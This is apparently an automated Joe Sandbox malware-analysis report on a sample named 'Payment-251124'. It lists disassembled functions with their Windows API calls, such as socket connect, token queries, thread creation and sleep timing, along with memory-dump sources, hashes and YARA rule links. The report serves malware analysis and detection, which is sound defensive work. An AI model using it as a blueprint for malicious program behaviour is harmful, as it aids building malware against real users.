                                                        Function 00EFDBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsWindowVisible.USER32(?), ref: 00EFDBD7
                                                        • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00EFDBF4
                                                        • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00EFDC2C
                                                        • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00EFDC52
                                                        • _wcsstr.LIBCMT ref: 00EFDC5C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                        • String ID:
                                                        • API String ID: 3902887630-0
                                                        • Opcode ID: b8961ea9492153d9fa95170477db535154077e7851b807cb4bfd2a859ad45f6a
                                                        • Instruction ID: fde1d08d2caa4af6df79896b908f8bf8e18d41fcd695ad33b84f0146d216b354
                                                        • Opcode Fuzzy Hash: b8961ea9492153d9fa95170477db535154077e7851b807cb4bfd2a859ad45f6a
                                                        • Instruction Fuzzy Hash: 9E213B71208148BBEB159F39DC49E7FBFADDF45760F11503AF90AEA191EAA1CC41E260
                                                        Function 00F2DE69 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F2DEB0
                                                        • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00F2DED4
                                                        • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00F2DEEC
                                                        • GetSystemMetrics.USER32(00000004), ref: 00F2DF14
                                                        • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,00F13A1E,00000000), ref: 00F2DF32
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Long$MetricsSystem
                                                        • String ID:
                                                        • API String ID: 2294984445-0
                                                        • Opcode ID: 68eda5b8e45fda2900bf2117e6ebe3e6f6a61f2533dc831711443bd2692ea344
                                                        • Instruction ID: 942ce105b473d613d7a5d5b473ef3716c20f328cc6b8101c6bdcd2a59d2c8558
                                                        • Opcode Fuzzy Hash: 68eda5b8e45fda2900bf2117e6ebe3e6f6a61f2533dc831711443bd2692ea344
                                                        • Instruction Fuzzy Hash: 1521D671A15666AFCB205F78ED48B663798FB25334F160324FD66CA1F0E7309851EB80
                                                        Function 00EFBC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00EFBC90
                                                        • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00EFBCC2
                                                        • __itow.LIBCMT ref: 00EFBCDA
                                                        • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00EFBD00
                                                        • __itow.LIBCMT ref: 00EFBD11
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$__itow
                                                        • String ID:
                                                        • API String ID: 3379773720-0
                                                        • Opcode ID: ac7695ab80c2a5ce8fe0b3d98ee1696b056a840bc9a7bd90ce142d326b188e28
                                                        • Instruction ID: d8d62ab6404da61c42ee4c92f12cec68cc297365d4d07d13e08782bf7bda413f
                                                        • Opcode Fuzzy Hash: ac7695ab80c2a5ce8fe0b3d98ee1696b056a840bc9a7bd90ce142d326b188e28
                                                        • Instruction Fuzzy Hash: BF21C63570060CBADB10AE65CD46FEF7AA8AF5A710F006069FB05FB181DB71C94597A2
                                                        Function 00F06318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC50E6: _wcsncpy.LIBCMT ref: 00EC50FA
                                                        • GetFileAttributesW.KERNEL32(?,?,?,?,00F060C3), ref: 00F06369
                                                        • GetLastError.KERNEL32(?,?,?,00F060C3), ref: 00F06374
                                                        • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00F060C3), ref: 00F06388
                                                        • _wcsrchr.LIBCMT ref: 00F063AA
                                                          • Part of subcall function 00F06318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00F060C3), ref: 00F063E0
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
                                                        • String ID:
                                                        • API String ID: 3633006590-0
                                                        • Opcode ID: 3a19d76b6da34ec89d4c6af6fc11c0b9f280e7142c5b272d4830b2cf26cd0176
                                                        • Instruction ID: 9d0e3e5814c3b1ad57417f69bd714a51361687acfc6911e985ecc1089ff049c2
                                                        • Opcode Fuzzy Hash: 3a19d76b6da34ec89d4c6af6fc11c0b9f280e7142c5b272d4830b2cf26cd0176
                                                        • Instruction Fuzzy Hash: D121EE31A0421957DB15EB74AC42FEA339CEF15370F101465F545D72C0EBA0D991B6A4
                                                        Function 00F18B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F1A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00F1A84E
                                                        • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00F18BD3
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18BE2
                                                        • connect.WSOCK32(00000000,?,00000010), ref: 00F18BFE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLastconnectinet_addrsocket
                                                        • String ID:
                                                        • API String ID: 3701255441-0
                                                        • Opcode ID: 858dfb1a4e4677e4fb8916b03da31aeca2f28f9de9074e2d44893599768178fe
                                                        • Instruction ID: e1b4b1a6f2ed8ecb25f10be7fe3c91c40ac165e22f28b16c13ce6fe88e93f369
                                                        • Opcode Fuzzy Hash: 858dfb1a4e4677e4fb8916b03da31aeca2f28f9de9074e2d44893599768178fe
                                                        • Instruction Fuzzy Hash: 4C219F312002149FCB10AB68CD45F7D77A9AF55760F04445DF906A72D2CB74AC4297A1
                                                        Function 00F18420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsWindow.USER32(00000000), ref: 00F18441
                                                        • GetForegroundWindow.USER32 ref: 00F18458
                                                        • GetDC.USER32(00000000), ref: 00F18494
                                                        • GetPixel.GDI32(00000000,?,00000003), ref: 00F184A0
                                                        • ReleaseDC.USER32(00000000,00000003), ref: 00F184DB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ForegroundPixelRelease
                                                        • String ID:
                                                        • API String ID: 4156661090-0
                                                        • Opcode ID: 937abf890d8af06594b9a6f74793eb9f6377db891e05118a6ee8b1b04ab6c38a
                                                        • Instruction ID: 7b1a688e7d946a754ac41c509523d265221161ec7b3d7edc38a14df6b262239c
                                                        • Opcode Fuzzy Hash: 937abf890d8af06594b9a6f74793eb9f6377db891e05118a6ee8b1b04ab6c38a
                                                        • Instruction Fuzzy Hash: 1321C336A00204AFD710DFA4DD84AAEBBF9EF49341F048479E84997351DF70AC41EB60
                                                        Function 00EDAF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00EDAFE3
                                                        • SelectObject.GDI32(?,00000000), ref: 00EDAFF2
                                                        • BeginPath.GDI32(?), ref: 00EDB009
                                                        • SelectObject.GDI32(?,00000000), ref: 00EDB033
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ObjectSelect$BeginCreatePath
                                                        • String ID:
                                                        • API String ID: 3225163088-0
                                                        • Opcode ID: a7cd7e80bc31874b2d07b20099b7c327ac21fb6da1b6d348e7f6fd46a2002fa5
                                                        • Instruction ID: b6a2feb242228b811f2d1d8c33b2482a15019e3b7728649080b838f7f37b657a
                                                        • Opcode Fuzzy Hash: a7cd7e80bc31874b2d07b20099b7c327ac21fb6da1b6d348e7f6fd46a2002fa5
                                                        • Instruction Fuzzy Hash: 6021717590020DEFDB119F55EC447EA7B6CFB213A5F18432AE861A22A0E3714953EB91
                                                        Function 00EE217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __calloc_crt.LIBCMT ref: 00EE21A9
                                                        • CreateThread.KERNEL32(?,?,00EE22DF,00000000,?,?), ref: 00EE21ED
                                                        • GetLastError.KERNEL32 ref: 00EE21F7
                                                        • _free.LIBCMT ref: 00EE2200
                                                        • __dosmaperr.LIBCMT ref: 00EE220B
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
                                                        • String ID:
                                                        • API String ID: 2664167353-0
                                                        • Opcode ID: d49a280dd63781a29f532e8e9d0f5cbc5fe23aa847b3bdb7dedb019fc4293472
                                                        • Instruction ID: d01ddbe8c467afb6ddbfa0c1a38c898deb5758fb77e3e63f3839ba09546022ed
                                                        • Opcode Fuzzy Hash: d49a280dd63781a29f532e8e9d0f5cbc5fe23aa847b3bdb7dedb019fc4293472
                                                        • Instruction Fuzzy Hash: 2B11E5321053CE6FDB11AFA69C41DAB77ECEF05764B10142DFB58A6191DB31880196A1
                                                        Function 00EFABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00EFABD7
                                                        • GetLastError.KERNEL32(?,00EFA69F,?,?,?), ref: 00EFABE1
                                                        • GetProcessHeap.KERNEL32(00000008,?,?,00EFA69F,?,?,?), ref: 00EFABF0
                                                        • HeapAlloc.KERNEL32(00000000,?,00EFA69F,?,?,?), ref: 00EFABF7
                                                        • GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00EFAC0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                        • String ID:
                                                        • API String ID: 842720411-0
                                                        • Opcode ID: 50d902935a438b2e95920bb705f5e330c72e330b988d6e2615c3ef97e9fa0c91
                                                        • Instruction ID: 7a737eb163f1debcc0f6ff72024275b12f1d895f4fd9d8134f87a229fbdbaa67
                                                        • Opcode Fuzzy Hash: 50d902935a438b2e95920bb705f5e330c72e330b988d6e2615c3ef97e9fa0c91
                                                        • Instruction Fuzzy Hash: AC018CB4200208BFEB104FA9DC48DBB7BACEF8A3587140429F909D7260DA71DC40DB60
                                                        Function 00EF9ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CLSIDFromProgID.OLE32 ref: 00EF9ADC
                                                        • ProgIDFromCLSID.OLE32(?,00000000), ref: 00EF9AF7
                                                        • lstrcmpiW.KERNEL32(?,00000000), ref: 00EF9B05
                                                        • CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00EF9B15
                                                        • CLSIDFromString.OLE32(?,?), ref: 00EF9B21
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: From$Prog$FreeStringTasklstrcmpi
                                                        • String ID:
                                                        • API String ID: 3897988419-0
                                                        • Opcode ID: 4914598391f740be1fb0f734e637aba20e722cd8b17e50db6bd4139120c7d32b
                                                        • Instruction ID: a064293ab70a10fd7729074aae34e682431272f0099ad7f9adb01dddbf80ea01
                                                        • Opcode Fuzzy Hash: 4914598391f740be1fb0f734e637aba20e722cd8b17e50db6bd4139120c7d32b
                                                        • Instruction Fuzzy Hash: BF018B7A60021DBFDB114F68EC44BBEBAEDEB55352F148024FE45E2211D770DD40ABA0
                                                        Function 00F07A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00F07A74
                                                        • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00F07A82
                                                        • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00F07A8A
                                                        • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00F07A94
                                                        • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00F07AD0
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: PerformanceQuery$CounterSleep$Frequency
                                                        • String ID:
                                                        • API String ID: 2833360925-0
                                                        • Opcode ID: 4a287a7708c27afbcf6365f6816813e2d155a5994c2e2e1c1bbeddf2fd4681f6
                                                        • Instruction ID: 6d3195a5386a69e486114f1f44105cf37f3e6b69b2826a14cd1467767d9baab4
                                                        • Opcode Fuzzy Hash: 4a287a7708c27afbcf6365f6816813e2d155a5994c2e2e1c1bbeddf2fd4681f6
                                                        • Instruction Fuzzy Hash: 7E012D75E0861DDBDF04AFE4DC48ADDBB78FB59711F400495D902B22A0DB38AA50B7A1
                                                        Function 00EFAAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00EFAADA
                                                        • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00EFAAE4
                                                        • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EFAAF3
                                                        • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00EFAAFA
                                                        • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EFAB10
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HeapInformationToken$AllocErrorLastProcess
                                                        • String ID:
                                                        • API String ID: 44706859-0
                                                        • Opcode ID: 0873a1346c55cb7206ae5de468a6d6e0af89ddad8db2bf27d157b68358ff2726
                                                        • Instruction ID: 607901fa0cc3a824ac4fe116f6bef3e66264970b64de0ff6dd1ec34222b5acd0
                                                        • Opcode Fuzzy Hash: 0873a1346c55cb7206ae5de468a6d6e0af89ddad8db2bf27d157b68358ff2726
                                                        • Instruction Fuzzy Hash: 77F04F7530020C6FEB110FA4EC88E7B3B6DFF46758F040029FE45DB190CA6098019A61
                                                        Function 00EFAA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00EFAA79
                                                        • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00EFAA83
                                                        • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00EFAA92
                                                        • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EFAA99
                                                        • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00EFAAAF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HeapInformationToken$AllocErrorLastProcess
                                                        • String ID:
                                                        • API String ID: 44706859-0
                                                        • Opcode ID: 09fc3b0b49c0b1f836b5ef85cd0d01a191e58c750744cd57f4e05851c2804121
                                                        • Instruction ID: f3c09f8a1724d4c95b4d8a7558f204e31615a69986d97e1c9ab4f0578478e628
                                                        • Opcode Fuzzy Hash: 09fc3b0b49c0b1f836b5ef85cd0d01a191e58c750744cd57f4e05851c2804121
                                                        • Instruction Fuzzy Hash: 9AF04F792002186FEB115FA4AC89E7B3BACFF4A798F040429FE45DB290DA609C45DB61
                                                        Function 00EFEC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,000003E9), ref: 00EFEC94
                                                        • GetWindowTextW.USER32(00000000,?,00000100), ref: 00EFECAB
                                                        • MessageBeep.USER32(00000000), ref: 00EFECC3
                                                        • KillTimer.USER32(?,0000040A), ref: 00EFECDF
                                                        • EndDialog.USER32(?,00000001), ref: 00EFECF9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                        • String ID:
                                                        • API String ID: 3741023627-0
                                                        • Opcode ID: 7709594c44907a6374097ba366d7122c18a2d82205e56bfb856ca7319d7634c8
                                                        • Instruction ID: d9400c62ac24b368ae7def4b359fbb3c28334de854327f522384d88f71e04794
                                                        • Opcode Fuzzy Hash: 7709594c44907a6374097ba366d7122c18a2d82205e56bfb856ca7319d7634c8
                                                        • Instruction Fuzzy Hash: 4D01D63450079C9BEB245F10DE4EBA6B7B8FB10709F04155DBA42711E0DBF0B944CB50
                                                        Function 00EDB0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • EndPath.GDI32(?), ref: 00EDB0BA
                                                        • StrokeAndFillPath.GDI32(?,?,00F3E680,00000000,?,?,?), ref: 00EDB0D6
                                                        • SelectObject.GDI32(?,00000000), ref: 00EDB0E9
                                                        • DeleteObject.GDI32 ref: 00EDB0FC
                                                        • StrokePath.GDI32(?), ref: 00EDB117
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Path$ObjectStroke$DeleteFillSelect
